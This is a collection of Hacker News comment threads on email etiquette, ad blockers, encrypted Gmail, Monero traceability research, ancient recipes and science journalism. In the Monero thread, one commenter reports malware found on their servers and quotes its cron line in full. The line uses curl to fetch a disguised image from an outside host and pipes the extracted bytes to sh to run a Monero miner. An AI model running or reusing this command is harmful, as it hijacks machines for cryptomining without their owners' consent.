</comment></comment><comment><USER22> I like his recommendation to attach cat pictures to the Post Scriptum of every message.

<comment><USER31> Personally I was hoping the cat-picture-meme would be a passing thing. I am allergic to the little critters and am not particularly fond of them. They carry parasites and bacteria which can be permanently harmful for us.

So, although I respect people wanting to have their own pets and take care of them, I (and many others) think it is tasteless to project this affinity to others in a professional setting.

<comment><USER32> "Lazarus Lazaridis' _personal blog_ with posts mostly related to programming and opensource. _And cats_." I agree completely that "cutesy" things don't belong in professional contexts (I like to make sensible exceptions occasionally to reassure everyone that I am, in fact, human), but these are his critters, so he is entitled to subject his readers to them (just like someone who posts pictures of their happy-smiley family). Also, you should be more concerned about humans, who carry parasites and bacteria (and viruses!) which are vastly more dangerous to you. :)

</comment></comment></comment><comment><USER33> Neat! I have a dream - just like we have issue templates, have organization wide email templates for internal communications. If every email sent in an organization, adhere to 3 to four email templates - that would take away so much of the cognitive load of parsing each snowflake and extracting the meat out of them. As soon as you see a label in the first words of subject you know what you are dealing with - like "bug", "defect", "enhancement" \- put "delay", "escalate" etc. Instead of a free form text box with no word limits, there will be more fields that enhance decision making - voting buttons, highlights like you see on medium.

The word limit will stop the mind dump and make you be precise with the focus on reaching a goal.

Some more unpopular ideas:

* A discussion would have follow up limits. Time or number. No month long threads, or 100 replies in half hours. Beyond a limit, it will automatically schedule a meeting for in person discussion to conclude on decisions

* email quotas - you can only send n emails within m hours to p persons

</comment><comment><USER34> I am missing one thing from the article: Your subject should be a clear, concise summary of your mail! People will be looking at the subject of your message MUCH more often than at the actual body.

</comment><comment><USER35> Putting a word in boldface is even more offensive than writing it in ALL CAPS. If you are doing it more than once per year, you are doing it wrong.

<comment><USER36> Is this a common opinion? I find bold text to be very helpful since it emphasizes the most important part.

<comment><USER35> > Is this a common opinion?

I said this as a personal opinion; no idea how widespread that is. Boldface strikes me as a lack of respect for the reader. An adult reader is supposed to read the whole text. If there is non-important information, please omit it.

The idea if writing a short sentence at the beginning summarizing the action to take is sound, however. It is even better if it appears in the subject of the message.

<comment><USER37> > Boldface strikes me as a lack of respect for the reader. An adult reader is > supposed to read the whole text.

Yeah, that's bullshit. Open any CS book on your shelf and you'll see different fonts, different sizes, different weights, different background colors, etc. Those books are not written for kids, they're written for adults—for professionals. The goal of a writer is to control the reading process; changing what the text looks like is one way to do that.

We separate the text into paragraphs to delineate different ideas, but also to space out the text and give the reader a chance to breathe. We organize points into bullet points because they're easy to spot, easy to scan, and we don't need to make the text longer by adding flow between each point. We sometimes use frames and a darker background for summaries, auxiliary information, etc. to show that it's not part of the main text. We use large letters to identify different chapters and sections. We use a monospaced font for code examples. We write technical terms in italics when we first introduce them and want to highlight that fact to the reader.

There are a multitude of ways in which we format text so that readers can better follow. Bold is just one extra tool in that arsenal. Don't abuse it, but don't forbid it entirely either.

</comment></comment></comment></comment><comment><USER38> Pro tip: good subject lines improve the chances your email will be read, acted on, remembered, and found again later. Every marketing person knows this but the importance doesn't seem to leave that domain. Make them 45 characters or less or so.

Bad: "Question" Good: "Any avail. tomorrow Tues. 12/2?"

Combine actual dates AND relative ones. Days of week help.

Bad: "Millie Smith" Good: "Millie Smith asst. dir. new hire"

Bad: "Tuesday" Good: "work from home - Tuesday planned power outage"

Bad: "report" Good: "2Q19 sales dept. new business report"

Bad: "canceled meeting" Good: "Wed. 4/3 sales meeting canceled"

</comment><comment><USER39> I try to keep most emails short: (Approximately) 3 sentences, broken into 3 paragraphs.

That's most peoples' attention span for email.

I only write longer emails when someone asks me a question; such as when a manager asks me to research and root cause something. Even then, I usually try to follow the 3-line rule, then put a ----, and then the longer email.

BTW: When I get a very loooong email, sent directly to me, I don't read it. I will usually reply with something like, "I don't read long emails" and suggest that the author find time to meet with me directly.

<comment><USER40> > reply with something like, "I don't read long emails" and suggest that the > author find time to meet with me directly.

Everyone you suggested that to thinks you are a dick. They spent half an hour or more writing just so you can absorb the information asynchronously at your convenience rather than having to schedule yet-another meeting and take notes -- and then you want to waste another half-hour of their time because you can't be bothered reading.

<comment><USER39> It's usually not a case of "absorb the information asynchronously," instead, it's being upfront with ignoring rants.

</comment></comment></comment><comment><USER41> I don't fully agree with the bold part. I think a better way is to have a small sentence summary at the top of the email. Like "I've started working on the backup issues."

</comment><comment><USER42> This is in direct conflict with the "Use plaintext email" post from a while ago but I honestly agree more with this one. Is Markdown in email a thing yet?

<comment><USER43> I know this isn't the question you were asking, but ostensibly, Markdown in email has always been a thing, since it's intended to degrade gracefully to human-interpretable formatting.

</comment></comment><comment><USER44> Interesting! I'm newer to software and have never done any communication about bugs or other situations the article references via email-- it's always been in person, in a Slack channel, or through JIRA or Github comment threads.

I guess it's just my company's culture but it's always been assumed that people will not check or respond to email promptly, so project-related information should not be communicated that way.

</comment><comment><USER45> I'm a big proponent of using specific times and dates instead of—or in addition to—words like "tomorrow" and "next week." It makes your email easier to understand if you are looking at it any in your email archives or if you communicate with people in different time zones.

<comment><USER46> I work for a general contractor which has projects in all time-zones in the United States (Minus Alaska/Hawaii).

We have many 12 hour day shift and 12 hour night shift projects that are running 24/7.

Using the exact date you are referencing, using military time along with timezone has been invaluable.

For example,

"John Doe,

We are moving the security clearance fingerprinting to be held next Friday, August 9th at 14:30 EST"

or

"Jane Doe,

Just following up on the RFI we submitted yesterday, July 31st at 13:30 EST. Were you able to review?"

This also helps when having to hold people accountable for not responding fast enough when you include timestamps.

<comment><USER47> This also makes it easier to catch mistakes. If you had said "next Friday, August 8th", maybe you actually meant next Thursday.

</comment></comment></comment><comment><USER48> It tends to make you even more angry, though, if you took extra time to emphasize and link messages and you get a unformatted, half sentence reply from someone who clearly did not read the message. I think you should do it anyway, but be prepared for frustration.

<comment><USER49> While completely true, this viewpoint is a little cynical. The challenge in those instances is to think about how to lead these people positively to do the same?

How can you make emails seem like a gift? That's how I approach it when I write my best ones.

</comment></comment><comment><USER50> At some point when I need to "structure an email" usually that's a red flag to me that I should format it as a report in an attached document (which can be more detailed) then make the email a handful of sentences describing the attached report.

</comment><comment><USER51> I think the "Structure long messages" section could be more succinct. Background, Consequences, etc (unless they're company standards) don't really impart much information. It could be better to instead have practical info as those titles.

e.g., instead of Background, have "Huge increase in log messages". Instead of "Cause of the problem" have "Caused by bug in external library". That way, if people only read the headings, they still get a useful understanding of the issue immediately.

</comment><comment><USER52> I always hesitate before using emphasis.

I'm afraid it will looks like I think the recipients are stupid or something.

But seeing it's a good advice will change my view on that (I tend to write long emails)

<comment><USER53> I disagree. I always highlight in bold text the parts that I want people to focus on more, especially in longish emails, or those where there are numbers involved. I also appreciate it when people take the time to highlight what they would like me to pay attention to. It shows a mutual respect of time.

</comment></comment><comment><USER54> Huge missing thing: SUBJECTS. Please use descriptive subjects.

<comment><USER55> Indeed, it's the MOST important part.

Easiest way to do it - write it dead last.

Write your email in this order: 1\. Body of email 2\. Formatting: fix the paragraphs, bold/underline, create headers if longer piece 3\. Subject line

<comment><USER54> > Easiest way to do it - write it dead last.

Yep! Agreed.

Still i constantly receive mails that are not descriptive enough. If there are IDs to change requests, deploys etc, why don't you put that ID in the subject so it's easy to get to it later?!

</comment></comment></comment><comment><USER56> Is this a joke?

<comment><USER57> What, specifically do you disagree with? Personally I go the plaintext route for email, but if I was writing HTML emails this advice all seems pretty sound to me.

</comment></comment><comment><USER58> This is a pretty great summary of effective email communication. People would do well to internalize it. I'm glad to see it here on HN.

</comment><comment><USER59> I feel like emphasizing is hiding the fact that your email contains arbitrary things.

I tend to not decorate and encourage people to read the whole thing.

Less is better.

</comment><comment><USER60> And on the subject of what most not to do....

For pity sake don't send a picture of a log or an error dump..... send the text.

Please.

Pretty please.

With tears in my eyes.

</comment><comment><USER61> Or you know, pick up a phone and call. I think for most people, it is very rare that they write an essay of an email to someone. And if you are an academic or some professional, you should be doing these things anyways. Or is that the point?

</comment><comment><USER62> Obligatory link to an explanation of the BLUF ("bottom line up front") format: [https://hbr.org/2016/11/how-to-write-email-with-military- pre...](https://hbr.org/2016/11/how-to-write-email-with-military-precision)

I see too many people write long emails, both in total word count and in word count per paragraph. Then they wonder why it takes someone 1-2 weeks to respond.

Unless you're working in an environment that thrives on them, such as academia, a long email creates a significant cognitive burden on someone who is probably trying to context switch as fast as possible. Combine it with a lack of clear action for the reader -- "What are your thoughts?", for example -- and you will find your emails left indefinitely on their "too hard" pile.

</comment><comment><USER63> TL;DR Use HTML features (and dates).

Yes, it's 2019 and I'm still in favour of plaintext emails. Sorry.

<comment><USER64> Adding links and plaintext emails are not mutually exclusive. Hackernews comments are a great example where commenters often embed a [1] tag in their comment and at the end of the comment have a section like

[1] [https://news.ycombinator.com](https://news.ycombinator.com)

<comment><USER63> None of the HTML features the author uses lack a plaintext equivalent.

<comment><USER64> I disagree. We've been doing this for decades on mailinglists

# example heading

You can add _emphasis_ with asterisk or _underscores_. Links can be done with [1] tags

And as an alternative, nothing stops you from using Markdown syntax in plaintext emails for adding structure like (nested) bullet lists.

[1] [https://news.ycombinator.com](https://news.ycombinator.com)

<comment><USER57> I think you misread the comment you're responding to, and are therefore _agreeing_.

</comment></comment></comment></comment></comment><comment><USER65> Maybe it's just a bad example in the article. It seems like a regular conversation between a group of people to get things done in an organization. At least in our organization that type of conversation happens in a quick meeting or some collaboration app link Slack or Microsoft Teams, formal composition of messages is not necessary in those kinds of platforms. Email seems to be an overkill for stuff like this ...

<comment><USER57> I find the idea that email could be overkill compared to any length of meeting to be hilariously backwards. Maybe it's just the particular dysfunction of my organization, but any meeting between more than two people requires multiple emails to set up.

<comment><USER65> [ Hello all,

I noticed that there are many logs for blabla the last few days and I don't think that it is normal. I believe the problem is the updated version of gem blabla.

I have opened an issue describing the case in Redmine (#455) in the current version. Feel free to change its priority in case blabla.

Thanks, Lazarus ]

My point is that the above piece of conversation happening over an email is super slow and backwards. Lazarus should just be able to talk to the group directly which a platform like Slack or Teams makes possible.

<comment><USER57> We clearly exist in radically different worlds. To me, sending that email _is_ talking directly to the group. Nobody at my org uses Skype (our organization's IM service of choice). Email works just fine. If it's actually important and the person or people you're emailing are actually available, email is no slower than IM/chat.

<comment><USER65> I agree Email is slow is an arguable statement, for email you need to add recipients sometimes CC and BCC carefully plus you need Hi/Hello/Thanks/Signature etc which makes it more formal for daily communication for getting things done. My Second issue with email is, in the above example let's say Bob and Alice have different questions about Lazarus's email and start typing their responses at the same time and send them. Now you have 2 different threads of the email and this can go on and on and in no time you have chains of emails flying around. Let's say John (one of the people copied on that email) is on vacation. He is going to have tough time trying to go through that mess and piece everything together.

</comment></comment></comment></comment></comment><comment><USER66> This is great advice. Thanks for posting

</comment><comment><USER12> These examples looks like bug reports that I don't want to read.

The bold/non-bold text, email not balanced and too long paragraphs mixing numbers and letters makes me wanna vomit, not because it's disgusting but more like when you read in a car.

I agree with links though.

</comment><comment><USER54> I need to spam this in my company

</comment><comment><USER67> In case you TL;DR, the takeaway:

\- Keep it "concise", "ascribed", and "specific". By concise, avoid irrelevant details; by ascribed, write necessary data even though it's obvious but saves time for the reader by not having to look up, i. e., complete date mm-dd-yy instead of yesterday/tomorrow, links for references; by specific, avoid ambiguity, separate lines for each required query.

\- Use proper text formatting, i.e, <bold> important texts, wrap links with titles.

\- Divide long email into separate paragraphs, each can contain its subject. i.e., the way most SaaS services publishes postmortem about an outage or vulnerability.

Note: I've read many articles on writing good emails, this article focuses on the technical team, which in itself follows its guidelines.

</comment><comment><USER68> Christ, this is terrible advice. So overzealous and at times I get a childish vibe from the emails written. Please don't do any of this people.

<comment><USER57> Really? Aside from the emphasis and cat pictures, this all seems like basic advice that's borderline mandatory if you want people to actually read and understand your emails. If you have specific rebuttals to using specific dates, including relevant links, structuring emails well, and making action items clear, I'd really like to hear them.</comment></comment>


Introducing Peace, my privacy-focused iOS 9 ad blocker - <AUTHOR> http://www.marco.org/2015/09/16/peace-content-blocker <comment><USER2> Last I checked, Google was banning ad blockers in the Play Store. It will be interesting to see whether the popularity of this feature on iOS will force them to allow the adblockers again (I'm not expecting it to happen over the next year or two, though).

</comment><comment><USER3> Peace comment blocker (which I figured was for Discus style comment systems used by news and blog sites) blocks HN comment contents.

Seems like it shouldn't block comments on sites that are 100% comments. Ghostery doesn't.

</comment><comment><USER4> Just to make sure I understand this. You're charging people money, for a list of URLs?

<comment><USER5> No he is charging people money for a product with a specific value.</comment></comment>


Ask HN: Any programmers living "off the grid"? - <AUTHOR> <comment><USER2> There's a fairly big community of offgrid devs on scuttlebutt. Which makes perfect sense, given that the whole protocol/application was written for that use case :)

EDIT:

A _very_ noisy overview of said community (with loads of un-/subscribe spam and such) is here: [https://viewer.heropunch.io/channel/offgrid?showAll](https://viewer.heropunch.io/channel/offgrid?showAll)

<comment><AUTHOR> Ah yes - this is in part what inspired me. I love the SSB team and what they're doing. I'll check out that link and maybe stop being a lurker and join in, lol.

Thanks for comment

</comment></comment><comment><USER3> Joey Hess comes to mind. He writes of projects in his blog, though items aren't specifically tagged.

[https://joeyh.name/blog/](https://joeyh.name/blog/)

<comment><AUTHOR> hey - thanks for the reply! Looks like a great example. Digging into to his blog after work</comment></comment>


Steve Jobs' yacht impounded over pay dispute - <AUTHOR> http://www.cnn.com/2012/12/21/tech/innovation/steve-jobs-yacht/index.html?hpt=hp_t4 <comment><USER2> <http://news.ycombinator.com/item?id=4953030>

<http://news.ycombinator.com/item?id=4953097>

<http://news.ycombinator.com/item?id=4953189>

<http://news.ycombinator.com/item?id=4953290>

<http://news.ycombinator.com/item?id=4953811>

<http://news.ycombinator.com/item?id=4954683>

<http://news.ycombinator.com/item?id=4955931>

</comment><comment><USER3> Yes steve Jobs is influential and we all like him, and sure it's great to hear news about him...but this is just tabloids...it really ought not to be posted on hacker news</comment>


End-to-End Encrypted GMail? Not So Easy - <AUTHOR> https://freedom-to-tinker.com/blog/felten/end-to-end-encrypted-gmail-not-so-easy/

<comment><USER2> I also think there is a great plausible deniability in offering end to end encryption. At Blekko we delete logs and personally identifiable information after 24/48 hrs. Sure we could just say we do, and not do it, but one of the benefits it gives us is that when presented with a National Security Letter we can throw our hands up and say, "Hey its all we got, and we don't keep more by policy."

So if Google gave you end to end and made it work, even though they "could" thwart it without your knowledge they could plausibly not turn over stuff to a third party without a warrant. I am not sure if they think about it that way though.

</comment><comment><USER3> And how would they make money by serving you relevant ads if they can't parse your email?

<comment><USER4> They'd add a subscription option for people wanting encryption.

<comment><USER3> So the subscription cost would have to cover the extra cost for not only regular gmail because they can't serve you ads, but also the extra manpower of providing encryption. A feature that they can will only sell to a limited audience. Sorry won't happen, no matter what utopian pixie dust someone is snorting.

</comment></comment></comment><comment><USER5> "Filtering spam for us and showing ads for them" doesn't quite sum all the benefits of a parse-able inbox, what about when Google Now notifies you about flight and delivery updates by scanning your inbox, and stuff like this: <https://www.google.com/experimental/gmailfieldtrial>

End-to-end encryption could be offered as a premium feature though.</comment>


Little Brother inspired Google to encrypt its users' traffic - <AUTHOR> http://craphound.com/?p=4921

<comment><USER2> That's great that Google reads Cory Doctorow. I wonder if "Scroogled" inspired them to do anything.</comment>


80% of Monero Transactions Trivially De-Anonymized - <AUTHOR> https://ipfs.io/ipfs/QmWYTeggKeL8xBitA8uQWAaNDWfFrUHXAxBXkvmnisdDw7 <comment><USER3> Intellectually and academically dishonest hitpiece by peddlers of a competing cryptocoin.

That this subset of transactions is not safe is not news, nor is it even original research - it was covered in research more than 2 years ago by The Monero Project itself - and is something the project has addressed since and is working to further improve even beyond the recommendations of this paper.

Lengthy discussion on reddit here: [https://www.reddit.com/r/Monero/comments/65dj7u/an_empirical...](https://www.reddit.com/r/Monero/comments/65dj7u/an_empirical_analysis_of_linkability_in_the/?utm_content=comments&utm_medium=hot&utm_source=reddit&utm_name=Monero)

<comment><USER4> Andrew Miller does not hide his ties to Zcash; I believe none of the other authors are associated with Zcash. I do not think he needs to recuse himself from academic study of competing currencies, just because he has loose ties to Zcash.

Also, the authors do not hide the fact that the vulnerability is not new. Most science is incremental; I haven't seen any evidence of 'academic dishonesty'.

<comment><USER5> >The Zcash Foundation will now be endowed with 273,000 zcash, worth more than $13m at press time. As part of the network's rules, 10% of the cryptocurrency's mining rewards are automatically awarded to stakeholders.

>The four-person board of directors includes chair and president Andrew Miller, associate director of the Initiative for Cryptocurrencies and Contracts (IC3), and Matthew Green, assistant professor of computer science at Johns Hopkins University.

Source: [https://archive.fo/BoxUe](https://archive.fo/BoxUe)

</comment></comment></comment><comment><USER6> This response is interesting and worth a read: [https://word- view.officeapps.live.com/wv/mWord.aspx?Fi=SD473...](https://word- view.officeapps.live.com/wv/mWord.aspx?Fi=SD473062B43FF0AD33!17471&H=emul&C=5_810_BN1-SKY- WAC-WSHI&ui=en-US&rs=en-US&wdo=2&wde=docx&wdp=7&su=5129708501881367859&ad=en- US&sc=host%3d&cy=canary&ak=t%3D0%26s%3D0%26v%3D%21AKJyEh9d4Aknyp4%26aid%3D8f987af5%2D4638%2D482b%2D9630%2D94ae823ab424%26m%3Den%2Dus&wdMobileHost=2)

<comment><USER7> Any chance i could get that as a static document? It seems chrome on linux and microsoft office online don't get along

<comment><USER8> I wrote this. How would you prefer for it to be uploaded?

Another link: [https://1drv.ms/w/s!AjOt8D-0YjBHgYg_onISH13gCSfKng](https://1drv.ms/w/s!AjOt8D-0YjBHgYg_onISH13gCSfKng)

<comment><USER7> That one worked better, thanks!

</comment></comment></comment></comment><comment> lumos-sora I hope someone actually reads the original Monero Research Lab papers and sees that those papers briefly allude to there being a problem and dismiss it as being a theoretical problem when at the time of the report peoples drugs purchases could and can still be traced. This is an empirical analysis - <USER2> first of it's kind with a block explorer, the Monero people should be on their knees thanking the authors of the paper. Instead they are burying their heads in the sand, refusing to admit that they lied when they claimed back in 2015/16 that their currency was untraceable. I'm disgusted to see the flagrant doublethink in the comments here, most people haven't even bothered to read the paper or the MRL reports and are just spouting garbage they've heard via fluffyass.

<comment><USER9> You couldn't buy drugs with Monero until the end of 2016 when, coincidentally, RingCT was hard-forked in and this paper's entire basis for existence disappeared.

Also two of the Monero Research Lab papers both identify and quantify the problem, and then suggest solutions to it. At no point do the papers dismiss them as theoretical: [https://pbs.twimg.com/media/C9nIqDmUQAAqP-R.jpg:large](https://pbs.twimg.com/media/C9nIqDmUQAAqP-R.jpg:large)

MRL-0001 is nearly 7000 words, the entirety of which is devoted to showing how dangerous mixin-0 transactions are (ie. the bulk of this 'empirical analysis' paper). MRL-0004 similarly consists of nearly 7000 words, although this time they don't only have an entire section devoted to "traceability with zero mix- in spending", but they cover knock-on effects of banning them ("change and dust force zero mix spending"). They then identify further issues including "temporal associations", "association by use of outputs within a transaction", and "combinatorial attacks to reveal outputs".

The MRL-0004 paper provides a roadmap to defeating some of these by forcing a minimum ring size, but notes that a perfect output selection strategy could not (at the time as now) be determined. They note that "although we have identified this security issue, we are not making formal recommendations yet until we have further data to inform our choices".

Subsequent to that the Monero developers switched to a triangular distribution for selection, and then more recently they added a %-of-outputs-must-be-recent scheme (I can't recall what %). This, combined with the advent of RingCT, has defeated the claims of the research paper. There is no double-think about older transactions, because nobody could use them for anything of note, and it was during a time when 'fluffyass' kept telling people not use buy Monero (which I believe he continues to do).

</comment></comment><comment><USER10> Also see the complementary block explorer associated with the paper: [http://monerolink.com/](http://monerolink.com/)

We found tens of thousands of transactions that included _ten or more mixins_ but could still be traced.

<comment><USER11> Note: the code to extract this data has not been released to the public alongside the paper.

</comment></comment><comment><USER12> Amiller, Figure 1 should show that the overwhelming majority of Zcash transactions have the privacy properties of Bitcoin transactions (or worse).

No? It seems kind of imbalanced to have an analysis which emphasizes the security compromises caused by older monero (pre-CT, pre minimum mixin count) while ignoring the ongoing privacy flaw in Zcash usage in practice.

<comment><AUTHOR> > should show that the overwhelming majority of Zcash transactions have the > privacy properties of Bitcoin transactions (or worse).

Agreed, this should updated to specify that only transactions between shielded addresses are protected. The point they are trying to make is that the anonymity set between shielded addresses is that of all transactions in the anonymous set. (FWIW, this is a pre-publication draft.)

> No? It seems kind of imbalanced to have an analysis which emphasizes the > security compromises caused by older monero (pre-CT, pre minimum mixin > count)

ZCash is pretty explicit about the difference between shielded and transparent addresses....

However, the news here isn't about ZCash. Monero's main claim to fame is that it has an "opaque" blockchain, but this isn't cryptographically ensured. Instead, it relies on each client to create dummy transactions that mirror real ones. That leaves Monero wide open to side channel attacks now and in the future.

One would expect careful analysis and much more cautious language. Instead, it looks like clients weren't even doing basic checks:

> We find that among Monero transaction inputs with one or more mixins, 62% of > these are deducible, i.e. they can be incontrovertibly linked to the prior > TXO they spend.

It's a solid piece of research and even if Monero fixes everything in this upcoming release, that doesn't make this analysis any less worrying.

<comment><USER13> > ZCash is pretty explicit about the difference between shielded and > transparent addresses....

This is an important point. Having two very distinct addresses (different lengths, different prefixes, different RPC APIs) makes it very obvious to users when they have the benefits of shielded transactions, and when they don't. Thus users make an explicit choice to forgo privacy when they use transparent addresses.

The problem of only 28% of transactions currently being shielded ([https://explorer.zcha.in/statistics/network](https://explorer.zcha.in/statistics/network) [https://explorer.zcha.in/statistics/timeseries?hashrate=fals...](https://explorer.zcha.in/statistics/timeseries?hashrate=false&supply=false)) is a separate ecosystem problem, where usage of shielded addresses with third parties (like wallets and exchanges) requires them to use new APIs, instead of just interacting with the new block chain via the Bitcoin API. IIUC Monero has also encountered these issues, and it is something we are both working on improving.

<comment><USER8> Sorry if I'm looking at the data wrong, but this chart suggests less than 5% are shielded [https://explorer.zcha.in/statistics/value](https://explorer.zcha.in/statistics/value)

Is the chart wrong?

<comment><USER14> Perhaps it could have something to do with termonology (%value vs %transactions).

For value I get: 42588 / (891015+222753) = 3.8% Shielded Value / (Cumulative Miner's Reward + Cumulative Founder's Reward)

Perhaps it is 28% of transactions are shielded worth only 4% of zec value?

<comment><USER15> Note that the number of prior shielded transactions (not the proportion, and not the value) is what is actually relevant to the privacy of new shielded transactions. Roughly speaking, the privacy you get with Zcash is comparable to what you would get with Monero _if_ you could use _all previous shielded transactions_ (over 120000 of them, currently) as mixins. That's why the criticisms of Zcash based on the percentage use of shielding (either by transactions or value) are totally missing the point.

\-- Daira Hopwood (Zcash developer)

<comment><USER16> The number of note commitments can be found using 'zcash-cli getblockchaininfo' and is currently 301068 commitments, i.e. 150534 JoinSplits (so a bit more than the 120000 I said).

</comment></comment></comment></comment></comment></comment></comment><comment><USER17> What a coincidence!

Just today at work we've found malware on some of our servers. That malware added this cron job:

 _/ 60 _ * * * curl [http://img1.imagehousing.com/0/art-825604.jpg](http://img1.imagehousing.com/0/art-825604.jpg) -k|dd skip=2316 bs=1|sh

If you execute that command (without | sh part) and save output into .sh script, you'll see that it is running a miner (consuming lots of CPU) for this Monero pool: xmr.crypto-pool.fr:3333

See: [https://www.sophos.com/en-us/medialibrary/PDFs/technical- pap...](https://www.sophos.com/en-us/medialibrary/PDFs/technical- papers/Cryptomining-malware-on-NAS-servers.pdf?la=en)

<comment><USER18> that's a clever little cron job

<comment><USER19> Yeah that's a neat way of hosting malware on someone else's servers. It seems to also download a few binaries and put them in /tmp/ using the same trick.

</comment></comment></comment><comment><USER20> Disclaimer: I hold Monero

In my opinion, this is an attempt at smearing a better cryptocurrency competing for the same recognition: true anonymity.

It could very well be the tip of a broader, coming attack. The developers of other cryptocurrencies are spending money for marketing and acceptance into exchanges, Monero is not.

They are willing to grease the wheels to success while Monero grows organically instead. This may or may not be a problem for Monero. If they run a smear-campaign on Monero, they could win with their inferior cryptocurrency.

There is a much better/detailed response to the claims made in the paper on Reddit:

[https://www.reddit.com/r/Monero/comments/65pon8/monero_linka...](https://www.reddit.com/r/Monero/comments/65pon8/monero_linkability_paper_informing_those_outside/)

<comment><USER21> Regardless of the veracity of your allegations, this paper is a sound empirical analysis. It's a solid piece of research, and it's not surprising that folks from a competing blockchain would be the first to unveil real problems with Monero.

<comment><USER9> No it isn't, the paper is a re-hash of the work that the Monero team themselves put out in September 2014 and in January 2015.

[https://lab.getmonero.org/pubs/MRL-0001.pdf](https://lab.getmonero.org/pubs/MRL-0001.pdf)

[https://lab.getmonero.org/pubs/MRL-0004.pdf](https://lab.getmonero.org/pubs/MRL-0004.pdf)

</comment></comment></comment><comment><USER22> Intellectually very dishonest, especially considering Zcash's Ceo (yes, that actually exists) response on some twitter-'trolling': [https://twitter.com/AeonCoin/status/854247126473228288](https://twitter.com/AeonCoin/status/854247126473228288)

I mean come on, it's OK to cherrypick xmr's blockchain and post sensationalist and exaggerated tweets, but not Ok to do the same for Zcash...

Their academic integrity has obviously lost it from their financial incentives. Will be very hard to 'trust' these guys again, wouldn't 'trust' the 'trusted setup' that was needed for Zcash for a billion dollars now...

</comment><comment><USER23> Hit piece guys, released by "director of ZCash" an hour before a scheduled hard fork for Monero.

<comment><USER21> What did you think about the empirical analysis from this paper?

<comment><USER24> It is simply a hit piece. Most of the issues discussed have already been considered by the monero devs and in fact, addressed. There is a reason why the authors limited their considerations to transactions before the RingCT update.

<comment><AUTHOR> > There is a reason why the authors limited their considerations to > transactions before the RingCT update.

No, they did not. The 80% figure comes from weaknesses of clients post RingCT update.

<comment><USER24> From the paper:

Applicability to current and future transactions using RingCT. The weakness studied in this section is pri- marily a concern for transactions made in the past, as transactions using the new RingCT transaction option are generally immune.

<comment><AUTHOR> The key phrase being "in this section" \- section 3 deals with the older vulnerability while section 4 deals with RingCT transactions.

<comment><USER25> The section 3 vulnerability traces (aka "de-anonymizes") precisely no transactions at all. It indicates that the probabilities across potential outputs sources are biased, but does not offer any method at all to identify any actual source.

The estimate of the bias given in the paper for the current default and typical usage is that the most recent potential source has a probability of 45% instead of the ideal 20%. In fact this likely applies to 100% of current transactions, not 80%.

This is a known issue, and not ideal, and the quantitative results in the paper are helpful, but the paper does not show what you claim it shows.

<comment><USER26> Yes, that's section 3. What about section 4?

<comment><USER25> Sorry my mistake. My comment was about Section 4, not Section 3.

RingCT is immune to the methods in Section 3 as stated in the last paragraph of Section 3.

Section 4 does not trace any transactions. It identifies a probability bias which make the ring sigs less efficient, but still functional.

</comment></comment></comment></comment></comment></comment></comment></comment></comment><comment><USER27> Copy from a monero dev answer on reddit:

Heuristic I not applicable to RingCT, so moving on...

Heuristic II is basically people sending a transaction to themselves and thus creating 2 new txo's (amount and change). Then at some point people spend both txo's in one transaction. This is something that can be avoided by just not sending coins to yourself and by the wallet giving you a warning when you are about to spend 2 txo's stemming from the same txo.

Heuristic III is basically the fact that the newest txo in a transaction is likely the one that is being spent and can be prevented by people actually keeping a small reserve of XMR and refilling this at random intervals. Don't spend all your XMR all at once just after you received it.

</comment><comment><USER28> That's a nice touch hosting it on ipfs.

<comment><USER29> But ipfs.io is just the gateway.

I mean, this is the same document:

[https://ipfs4uvgthshqonk.onion.to/ipfs/QmWYTeggKeL8xBitA8uQW...](https://ipfs4uvgthshqonk.onion.to/ipfs/QmWYTeggKeL8xBitA8uQWAaNDWfFrUHXAxBXkvmnisdDw7)

</comment></comment><comment><USER27> Sad there are so many upvotes for a previously solved/discussed issue

</comment><comment><USER30> Please add [pdf] or something similar to the title, it's very annoying to accidentally and unintentionally download a pdf on the phone.</comment>


The World's Oldest-Known Recipes Decoded - <AUTHOR> http://www.bbc.com/travel/story/20191103-the-worlds-oldest-known-recipes-decoded <comment><USER2> The "reconstructed" recipe omits the dried barley cakes mentioned in the original inscription. The barley cakes sound like they probably would've been similar to Hardtack, and likely added to the soup to soften the bread and, perhaps, eventually dissolve it altogether to be used as a thickener.

The addition of beer into the recipe is also an interesting touch. That ingredient has all but disappeared from modern Middle Eastern cuisine due to the spread of Islam, but it certainly would not have been out-of-place in ancient Mesopotamia.

<comment><USER3> The dried barley cakes reminded me of ones used for making keptinis beer, which is an Interesting roundabout process.

Documented on Lars blog along with other old beer making styles: [http://www.garshol.priv.no/blog/394.html](http://www.garshol.priv.no/blog/394.html)

</comment></comment><comment><USER4> So when are they opening the authentic Sumerian restaurant with bilingual menus?

<comment><USER5> In this case, it's Babylonian cuisine. Different culture, different language (Akkadian which is Semitic vs Sumerian that is an isolate). Common point is the use a cuneiform writing, taken from Sumerians.

</comment></comment><comment><USER3> rocket (UK) == arugula (US) for those confused by the ingredients like i was.

<comment><USER6> And coriander leaves (uk) are cilantro (us)

</comment></comment><comment><USER7> Where to preorder the cookbook?

</comment><comment><USER8> KFC - Chicken, grease, salt.</comment>


Crusading Editor Aims to Shake Things Up in Science - <AUTHOR> http://www.statnews.com/2016/01/04/bmj-editor-fiona-godlee/ <comment><USER2> > The BMJ "should carefully think about what it wants: to remain a top > scientific medical journal, or to transition into a public-opinion > publication that seeks to attain the highest ratings possible based on one- > sided positions that are not carefully researched," said Rafael Perez- > Escamilla, an epidemiologist at Yale University. "They can't have it both > ways."

It seems that the editor is crusading to get politics and commercial interests out of science. They can have it both ways in that sense: to remain on top and to attract attention to the corruption at the heart of the endeavor.

</comment><comment><USER3> Scientists should be careful when staring into the abyss of politics, that the abyss does not stare back into them.

<comment><USER4> Scientists getting involved in (U.S.) politics may be a good thing given the current state of matters. Sure, we don't want politics distracting our best scientific minds, but at the same time this might lead to slightly more sane policy decisions (like giving the EPA more teeth).

</comment></comment><comment><USER5> The title is misleading. I followed the link hoping for an article about an editor willing to enforce open data, better statistics, etc. Instead, the editor is trying to shake things up in medicine and politics/policy. Based on the article, I would infer the editor is just another moralizing, do-gooder crusader trying to leverage "science".</comment>